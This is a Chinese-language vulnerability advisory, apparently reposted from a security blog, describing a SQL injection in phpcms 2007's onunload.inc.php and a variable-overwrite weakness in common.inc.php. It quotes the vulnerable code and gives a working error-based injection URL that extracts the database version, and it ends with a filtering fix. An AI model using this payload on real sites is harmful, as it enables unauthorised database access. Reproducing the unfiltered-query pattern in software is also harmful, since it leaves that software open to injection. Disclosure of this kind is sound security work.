phpcms 2007 onunload.inc.php update SQL注入漏洞

漏洞版本:

phpcms 2007

漏洞描述:

  1. <!--?php defined('IN_PHPCMS') or exit('Access Denied'); $serverid ? 1 : showmessage($LANG['illegal_operation']); $db--->query("UPDATE ".TABLE_MOVIE_SERVER." SET `num` = (num-1) WHERE serverid = $serverid AND num > 0 ");
  2. 2 ?>
$serverid没有进行任何过滤也没有用单引号括起来,所以无视gpc。 核心文件include\common.inc.php里大概80左右变量覆盖漏洞。
  1. if($PHP_QUERYSTRING && preg_match("/^(.*)\.(htm|html|shtm|shtml)$/", $PHP_QUERYSTRING, $urlvar))
  2. {
  3. parse_str(str_replace(array('/','-',' '), array('&','=',''), $urlvar[1]));
  4. }
这个判断太弱了,判断querystring是不是等于静态文件后缀,结尾随便加个参数赋个静态文件的值就过了,经过parse_str就产生了

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. http://www.ssvdb.com/cms/movie/onunload.php?serverid=1+and+exists%28select*from+%28select*from%28select+name_const%28@@version,0%29%29a+join+%28select+name_const%28@@version,0%29%29b%29c%29

安全建议:

临时解决方案:

1、过滤变量$serverid

厂商补丁:

PHPCMS
-------

目前厂商暂无提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpcms.cn/
原文地址:https://www.cnblogs.com/security4399/p/3126726.html